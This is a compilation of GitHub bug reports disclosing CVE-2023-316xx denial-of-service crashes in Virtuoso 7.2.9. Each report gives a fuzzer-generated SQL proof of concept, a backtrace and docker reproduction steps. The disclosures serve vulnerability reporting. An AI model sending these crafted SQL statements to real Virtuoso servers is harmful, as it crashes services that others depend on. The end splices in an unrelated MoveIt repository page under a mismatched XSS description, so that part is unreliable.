An issue in the mp_box_copy component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(
    x INTEGER PRIMARY KEY,
    k VARCHAR
  );
CREATE VIEW t1 AS SELECT k, k FROM t1;
UPDATE t1 SET k \= k\-1 WHERE k \> 100 AND x \= 128;

backtrace:

#0 0xe086e9 (mp\_box\_copy+0x9)
#1 0xe08dd0 (mp\_box\_copy\_tree+0xc0)
#2 0x815b3a (sqlc\_col\_to\_view\_scope+0x4fa)
#3 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#4 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#5 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#6 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#7 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#8 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#9 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#10 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#11 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#12 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
...
#1045 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1046 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1047 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1048 0x817c90 (sqlc\_update\_view+0xa60)
#1049 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1050 0x817cd1 (sqlc\_update\_view+0xaa1)
#1051 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1052 0x817cd1 (sqlc\_update\_view+0xaa1)
#1053 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1054 0x817cd1 (sqlc\_update\_view+0xaa1)
#1055 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1056 0x817cd1 (sqlc\_update\_view+0xaa1)
...
#3132 0x817cd1 (sqlc\_update\_view+0xaa1)
#3133 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#3134 0x817cd1 (sqlc\_update\_view+0xaa1)
#3135 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#3136 0x6b7212 (sql\_stmt\_comp+0x812)
#3137 0x6ba122 (sql\_compile\_1+0x1a62)
#3138 0x7c8cd0 (stmt\_set\_query+0x340)
#3139 0x7cabc2 (sf\_sql\_execute+0x922)
#3140 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#3141 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#3142 0xe1f01c (future\_wrapper+0x3fc)
#3143 0xe2691e (\_thread\_boot+0x11e)
#3144 0x7f2025e0d609 (start\_thread+0xd9)
#3145 0x7f2025bdd133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31623: virtuoso 7.2.9 crashed at mp_box_copy · Issue #1131 · openlink/virtuoso-opensource

An issue in the dv_compare component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE element (
      name VARCHAR(80),
      test1 VARCHAR(80),
      f1 VARCHAR(80),
      f2 VARCHAR(80),
      code INTEGER,
      t1 VARCHAR(80),
      a VARCHAR(80),
      example VARCHAR(80),
      b VARCHAR(80),
      c VARCHAR(80),
      folders VARCHAR(80)
    );
INSERT INTO element(b,b) VALUES(38,1444);
SELECT (select ( \-count(distinct case case code when b then c\*case when b<=element.b+b then code when (abs(element.c)/abs(case when b\-coalesce((select max(element.c\-element.b) from element where not exists(select 1 from element where 17 in (b,13,(b)) or b in (b,c,element.b))),element.b) not in (b,((c)),element.b) then  \-19 when c between code and 13 then 19 else element.c end))\=13 then c else 13 end else 17 end when 13 then element.c else element.b end\-element.c)) from element) FROM element WHERE coalesce((select max(element.b) from element where element.c<>element.c\-13),element.code)\>=b or b\*coalesce((select max((b)) from element where c not between +coalesce((select max(13) from element where b between  \-(abs(( \-coalesce((select max(case c when element.c then b else  \-element.c end) from element where 11\>b and element.b<element.b),element.c)))/abs(b)) and b),code) and element.b),element.b)\* \-19 not between (17) and element.c and (element.b<=code);

backtrace:

#0 0x60afab (dv\_compare+0x3b)
#1 0xc278fb (cmp\_vec\_any+0x24b)
#2 0xc28caa (cmp\_vec+0x12ba)
#3 0x751b48 (code\_vec\_run\_v+0x1368)
#4 0x7ac72d (qn\_send\_output+0xbd)
#5 0x7ac43e (qn\_input+0x3ce)
#6 0x7ac8a6 (qn\_send\_output+0x236)
#7 0x81e26d (set\_ctr\_vec\_input+0x94d)
#8 0x7ac43e (qn\_input+0x3ce)
#9 0x74f268 (subq\_next+0x258)
#10 0x81cfa2 (ins\_vec\_subq+0x2a2)
#11 0x75119b (code\_vec\_run\_v+0x9bb)
#12 0x7b5a9b (end\_node\_input+0x13b)
#13 0x7ac43e (qn\_input+0x3ce)
#14 0x7acb6f (qn\_ts\_send\_output+0x23f)
#15 0x7b247e (table\_source\_input+0x16ee)
#16 0x7ac43e (qn\_input+0x3ce)
#17 0x7b9c3b (fun\_ref\_node\_input+0x36b)
#18 0x7ac43e (qn\_input+0x3ce)
#19 0x7ac8a6 (qn\_send\_output+0x236)
#20 0x81e26d (set\_ctr\_vec\_input+0x94d)
#21 0x7ac43e (qn\_input+0x3ce)
#22 0x74f268 (subq\_next+0x258)
#23 0x81cfa2 (ins\_vec\_subq+0x2a2)
#24 0x75119b (code\_vec\_run\_v+0x9bb)
#25 0x7b5a9b (end\_node\_input+0x13b)
#26 0x7ac43e (qn\_input+0x3ce)
#27 0x7acb6f (qn\_ts\_send\_output+0x23f)
#28 0x7b247e (table\_source\_input+0x16ee)
#29 0x7ac43e (qn\_input+0x3ce)
#30 0x7b9c3b (fun\_ref\_node\_input+0x36b)
#31 0x7ac43e (qn\_input+0x3ce)
#32 0x7ac8a6 (qn\_send\_output+0x236)
#33 0x81e26d (set\_ctr\_vec\_input+0x94d)
#34 0x7ac43e (qn\_input+0x3ce)
#35 0x74f268 (subq\_next+0x258)
#36 0x81cfa2 (ins\_vec\_subq+0x2a2)
#37 0x75119b (code\_vec\_run\_v+0x9bb)
#38 0x7b5a9b (end\_node\_input+0x13b)
#39 0x7ac43e (qn\_input+0x3ce)
#40 0x7acb6f (qn\_ts\_send\_output+0x23f)
#41 0x7b247e (table\_source\_input+0x16ee)
#42 0x7ac43e (qn\_input+0x3ce)
#43 0x7ac8a6 (qn\_send\_output+0x236)
#44 0x81e26d (set\_ctr\_vec\_input+0x94d)
#45 0x7ac43e (qn\_input+0x3ce)
#46 0x7bdc6e (qr\_exec+0x11ee)
#47 0x7cb446 (sf\_sql\_execute+0x11a6)
#48 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#49 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#50 0xe1f01c (future\_wrapper+0x3fc)
#51 0xe2691e (\_thread\_boot+0x11e)
#52 0x7f731e31d609 (start\_thread+0xd9)
#53 0x7f731e0ed133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31620: virtuoso 7.2.9 crashed at dv_compare · Issue #1128 · openlink/virtuoso-opensource

An issue in the gpf_notice component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**This crash seems can only be reproduced when compiling virtuoso with --with-debug.**  
**When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t4 (
  a VARCHAR,
  b VARCHAR
);
SELECT MIN(b), MIN(b) FROM t4;

backtrace:

#0 0xe10319 (gpf\_notice+0x209)
#1 0xdf7866 (print\_object2+0x916)
#2 0x81c0e6 (select\_node\_input\_vec+0x546)
#3 0x7b7a77 (select\_node\_input+0xa7)
#4 0x7ac43e (qn\_input+0x3ce)
#5 0x7ac8a6 (qn\_send\_output+0x236)
#6 0x7ac43e (qn\_input+0x3ce)
#7 0x7ac8a6 (qn\_send\_output+0x236)
#8 0x81e26d (set\_ctr\_vec\_input+0x94d)
#9 0x7ac43e (qn\_input+0x3ce)
#10 0x7bdc6e (qr\_exec+0x11ee)
#11 0x7cb446 (sf\_sql\_execute+0x11a6)
#12 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#13 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#14 0xe1f01c (future\_wrapper+0x3fc)
#15 0xe2691e (\_thread\_boot+0x11e)
#16 0x7f02b43b7609 (start\_thread+0xd9)
#17 0x7f02b4187133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31626: virtuoso 7.2.9 crashed at gpf_notice · Issue #1129 · openlink/virtuoso-opensource

An issue in the sinv_check_exp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE base\_tbl (a int, b int);
CREATE VIEW rw\_view1 AS SELECT \* FROM base\_tbl;
INSERT INTO rw\_view1 VALUES (15);

backtrace:

#0 0x788dc0 (sinv\_check\_exp+0x120)
#1 0x78a03d (sinv\_sqlo\_check\_col\_val+0xad)
#2 0x816d50 (sqlc\_insert\_view+0x330)
#3 0x6b7387 (sql\_stmt\_comp+0x987)
#4 0x6ba122 (sql\_compile\_1+0x1a62)
#5 0x7c8cd0 (stmt\_set\_query+0x340)
#6 0x7cabc2 (sf\_sql\_execute+0x922)
#7 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#8 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#9 0xe1f01c (future\_wrapper+0x3fc)
#10 0xe2691e (\_thread\_boot+0x11e)
#11 0x7fbc8904b609 (start\_thread+0xd9)
#12 0x7fbc88e1b133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31624: virtuoso 7.2.9 crashed at sinv_check_exp · Issue #1134 · openlink/virtuoso-opensource

An issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

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Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at sqlo\_query\_spec #1138**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE mvtest\_pdt1 AS (SELECT 1 AS col1) WITH DATA;

backtrace:

#0 0x70d571 (sqlo\_query\_spec+0x41)
#1 0x7da2d4 (sqlc\_insert+0x13b4)
#2 0x6b7387 (sql\_stmt\_comp+0x987)
#3 0x6ba122 (sql\_compile\_1+0x1a62)
#4 0x68276d (bif\_exec+0x67d)
#5 0x74b044 (ins\_call\_bif+0xc4)
#6 0x758f09 (code\_vec\_run\_1+0xdf9)
#7 0x7ac431 (qn\_input+0x3c1)
#8 0x7c04fa (qr\_subq\_exec+0x94a)
#9 0x74c001 (ins\_call+0xc91)
#10 0x74d9f0 (ins\_call\_vec+0x320)
#11 0x751205 (code\_vec\_run\_v+0xa25)
#12 0x7ac3ff (qn\_input+0x38f)
#13 0x7bdc6e (qr\_exec+0x11ee)
#14 0x7c36fe (qr\_rec\_exec+0x34e)
#15 0x4e4076 (sql\_ddl\_node\_input\_1+0xc96)
#16 0x4e444e (sql\_ddl\_node\_input+0x10e)
#17 0x7b9f1b (ddl\_node\_input\_1+0x19b)
#18 0x7ba5f7 (qn\_without\_ac\_at+0xc7)
#19 0x7ac43e (qn\_input+0x3ce)
#20 0x7bee59 (qr\_dml\_array\_exec+0x839)
#21 0x7cb872 (sf\_sql\_execute+0x15d2)
#22 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#23 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#24 0xe1f01c (future\_wrapper+0x3fc)
#25 0xe2691e (\_thread\_boot+0x11e)
#26 0x7f3405362609 (start\_thread+0xd9)
#27 0x7f3405132133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31630: virtuoso 7.2.9 crashed at sqlo_query_spec · Issue #1138 · openlink/virtuoso-opensource

An issue in the sqlc_make_policy_trig component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

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Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at sqlc\_make\_policy\_trig #1135**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

DELETE FROM ucview WHERE CURRENT OF c1;

backtrace:

#0 0x7d8904 (sqlc\_make\_policy\_trig+0x54)
#1 0x7ddf99 (sqlc\_delete\_pos+0x2e9)
#2 0x6b6e53 (sql\_stmt\_comp+0x453)
#3 0x6ba122 (sql\_compile\_1+0x1a62)
#4 0x7c8cd0 (stmt\_set\_query+0x340)
#5 0x7cabc2 (sf\_sql\_execute+0x922)
#6 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#7 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#8 0xe1f01c (future\_wrapper+0x3fc)
#9 0xe2691e (\_thread\_boot+0x11e)
#10 0x7faabf70f609 (start\_thread+0xd9)
#11 0x7faabf4df133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31622: virtuoso 7.2.9 crashed at sqlc_make_policy_trig · Issue #1135 · openlink/virtuoso-opensource

An issue in the strhash component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
  a varchar(255) DEFAULT NULL
);
SELECT \* FROM t1 WHERE CONTAINS(\*, 'tutorial & (mysql & -VÐƷWİ)');

backtrace:

#0 0xdece40 (strhash+0x20)
#1 0xdec783 (id\_hash\_get+0x33)
#2 0x59c5d1 (tb\_name\_to\_column+0x41)
#3 0x76aed1 (ot\_is\_defd+0x211)
#4 0x76b422 (sco\_is\_defd+0x372)
#5 0x775cec (sqlo\_implied\_columns\_of\_contains+0x3fc)
#6 0x77c3dc (sqlo\_select\_scope+0x75c)
#7 0x76d347 (sqlo\_scope+0x447)
#8 0x70bd81 (sqlo\_top\_2+0x41)
#9 0x70b9d5 (sqlo\_top\_1+0x135)
#10 0x70d4c6 (sqlo\_top\_select+0x156)
#11 0x6b72bf (sql\_stmt\_comp+0x8bf)
#12 0x6ba122 (sql\_compile\_1+0x1a62)
#13 0x7c8cd0 (stmt\_set\_query+0x340)
#14 0x7cabc2 (sf\_sql\_execute+0x922)
#15 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#16 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#17 0xe1f01c (future\_wrapper+0x3fc)
#18 0xe2691e (\_thread\_boot+0x11e)
#19 0x7ff1272a6609 (start\_thread+0xd9)
#20 0x7ff127076133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31627: virtuoso 7.2.9 crashed at strhash · Issue #1140 · openlink/virtuoso-opensource

An issue in the sqlo_union_scope component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

SELECT CASE WHEN EXISTS (
      SELECT 1 FROM t2 WHERE x\=1 INTERSECT SELECT 1 FROM t2 WHERE y\=2
    )
THEN 1 ELSE 0 END;

backtrace:

#0 0x76cd17 (sqlo\_union\_scope+0x67)
#1 0x76cd10 (sqlo\_union\_scope+0x60)
#2 0x76cd10 (sqlo\_union\_scope+0x60)
#3 0x76dc84 (sqlo\_scope+0xd84)
#4 0x76d878 (sqlo\_scope+0x978)
#5 0x76d2b4 (sqlo\_scope+0x3b4)
#6 0x77c27a (sqlo\_select\_scope+0x5fa)
#7 0x76d347 (sqlo\_scope+0x447)
#8 0x70bd81 (sqlo\_top\_2+0x41)
#9 0x70b9d5 (sqlo\_top\_1+0x135)
#10 0x70d4c6 (sqlo\_top\_select+0x156)
#11 0x6b72bf (sql\_stmt\_comp+0x8bf)
#12 0x6ba122 (sql\_compile\_1+0x1a62)
#13 0x7c8cd0 (stmt\_set\_query+0x340)
#14 0x7cabc2 (sf\_sql\_execute+0x922)
#15 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#16 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#17 0xe1f01c (future\_wrapper+0x3fc)
#18 0xe2691e (\_thread\_boot+0x11e)
#19 0x7faf7a35b609 (start\_thread+0xd9)
#20 0x7faf7a12b133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31629: virtuoso 7.2.9 crashed at sqlo_union_scope · Issue #1139 · openlink/virtuoso-opensource

An issue in the sqlo_preds_contradiction component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE VIEW t1(a) AS SELECT 1;
SELECT a, a, a FROM t1 WHERE a IN (1,5) AND a IN (9,8,3025,1000,3969)
       ORDER BY a, a DESC;

backtrace:

#0 0x6f6462 (sqlo\_preds\_contradiction+0x442)
#1 0x6fec43 (sqlo\_place\_table+0xe23)
#2 0x706bab (sqlo\_try+0xdb)
#3 0x70818c (sqlo\_layout\_1+0x94c)
#4 0x6e84fb (sqlo\_layout+0x5fb)
#5 0x70c075 (sqlo\_top\_2+0x335)
#6 0x70b9d5 (sqlo\_top\_1+0x135)
#7 0x70d4c6 (sqlo\_top\_select+0x156)
#8 0x6b72bf (sql\_stmt\_comp+0x8bf)
#9 0x6ba122 (sql\_compile\_1+0x1a62)
#10 0x7c8cd0 (stmt\_set\_query+0x340)
#11 0x7cabc2 (sf\_sql\_execute+0x922)
#12 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#13 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#14 0xe1f01c (future\_wrapper+0x3fc)
#15 0xe2691e (\_thread\_boot+0x11e)
#16 0x7f8d7a6e8609 (start\_thread+0xd9)
#17 0x7f8d7a4b8133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31631: virtuoso 7.2.9 crashed at sqlo_preds_contradiction · Issue #1137 · openlink/virtuoso-opensource

Progress Ipswitch MoveIT 1.1.11 was discovered to contain a cross-site scripting (XSS) vulenrability via the API authentication function.

noetic-devel

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**Latest commit**

 

ivatavuk and rhaschke Fix Jacobian calculation for planar joint (#3439)

67121a3

May 28, 2023

Fix Jacobian calculation for planar joint (#3439)

67121a3

**Git stats**

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.docker

Dockerfile: Update ci-shadow-fixed -> ci-testing

September 3, 2022 06:52

.github

CI: Bump mamba-org/provision-with-micromamba from 14 to 16 (#3438)

May 28, 2023 12:28

moveit

1.1.12

May 13, 2023 20:56

moveit\_commander

1.1.12

May 13, 2023 20:56

moveit\_core

Fix Jacobian calculation for planar joint (#3439)

May 28, 2023 13:04

moveit\_experimental

Fix (some) doxygen warnings (#3315)

January 25, 2023 12:03

moveit\_kinematics

1.1.12

May 13, 2023 20:56

moveit\_planners

1.1.12

May 13, 2023 20:56

moveit\_plugins

1.1.12

May 13, 2023 20:56

moveit\_ros

1.1.12

May 13, 2023 20:56

moveit\_runtime

1.1.12

May 13, 2023 20:56

moveit\_setup\_assistant

1.1.12

May 13, 2023 20:56

.clang-format

Tweak penalties

August 11, 2020 08:28

.clang-tidy

add clang-tidy check for bind()

April 2, 2022 22:48

.dockerignore

Explicitly list all package.xml to include

August 26, 2021 16:40

.gitignore

Python bindings for moveit\_core (#2547)

April 3, 2021 09:56

.pre-commit-config.yaml

pre-commit: Update black version

March 29, 2022 18:43

CODE\_OF\_CONDUCT.md

Fix formatting errors

March 25, 2021 22:40

CONTRIBUTING.md

Remove ! from MoveIt name (#1590)

August 2, 2019 12:42

LICENSE.txt

Add license file to root of project (#349)

November 14, 2016 10:30

MIGRATION.md

rename MGI::getJointNames() to getVariableNames()

February 20, 2023 14:08

README.md

version.h: automatically bump patch number for devel builds (#3211)

December 19, 2022 15:17

codecov.yaml

\[maint\] Remove patch status from codecov (#2306)

September 12, 2020 12:27

moveit.rosinstall

Update panda\_moveit\_config to noetic-devel in .rosinstall files

September 9, 2022 08:17

Branches Policy MoveIt Status Continuous Integration Licenses ROS Buildfarm Stargazers over time

**README.md**

The MoveIt Motion Planning Framework for ROS. For the ROS 2 repository see MoveIt 2.

_Easy-to-use open source robotics manipulation platform for developing commercial applications, prototyping designs, and benchmarking algorithms._

*   Overview of MoveIt
*   Installation Instructions
*   Documentation
*   Get Involved

**Branches Policy**

*   We develop latest features on master.
*   The *-devel branches correspond to released and stable versions of MoveIt for specific distributions of ROS. noetic-devel is synced to master currently.
*   Bug fixes occasionally get backported to these released versions of MoveIt.
*   To facilitate compile-time switching, the patch version of MOVEIT_VERSION of a development branch will be incremented by 1 w.r.t. the package.xml's version number.

**MoveIt Status****Continuous Integration**

service

Melodic

Master

GitHub

 

 

CodeCov

build farm

  

**Licenses**

**ROS Buildfarm**

MoveIt Package

Melodic Source

Melodic Debian

Noetic Source

Noetic Debian

**moveit**

moveit\_core

moveit\_kinematics

**moveit\_planners**

moveit\_planners\_ompl

moveit\_planners\_chomp

chomp\_motion\_planner

moveit\_chomp\_optimizer\_adapter

pilz\_industrial\_motion\_planner

pilz\_industrial\_motion\_planner\_testutils

**moveit\_plugins**

moveit\_fake\_controller\_manager

moveit\_simple\_controller\_manager

moveit\_ros\_control\_interface

**moveit\_ros**

moveit\_ros\_planning

moveit\_ros\_move\_group

moveit\_ros\_planning\_interface

moveit\_ros\_benchmarks

moveit\_ros\_perception

moveit\_ros\_occupancy\_map\_monitor

moveit\_ros\_manipulation

moveit\_ros\_robot\_interaction

moveit\_ros\_visualization

moveit\_ros\_warehouse

moveit\_servo

**moveit\_runtime**

moveit\_commander

moveit\_setup\_assistant

**moveit\_msgs**

geometric\_shapes

srdfdom

moveit\_visual\_tools

moveit\_tutorials

**Stargazers over time**

Tag

#docker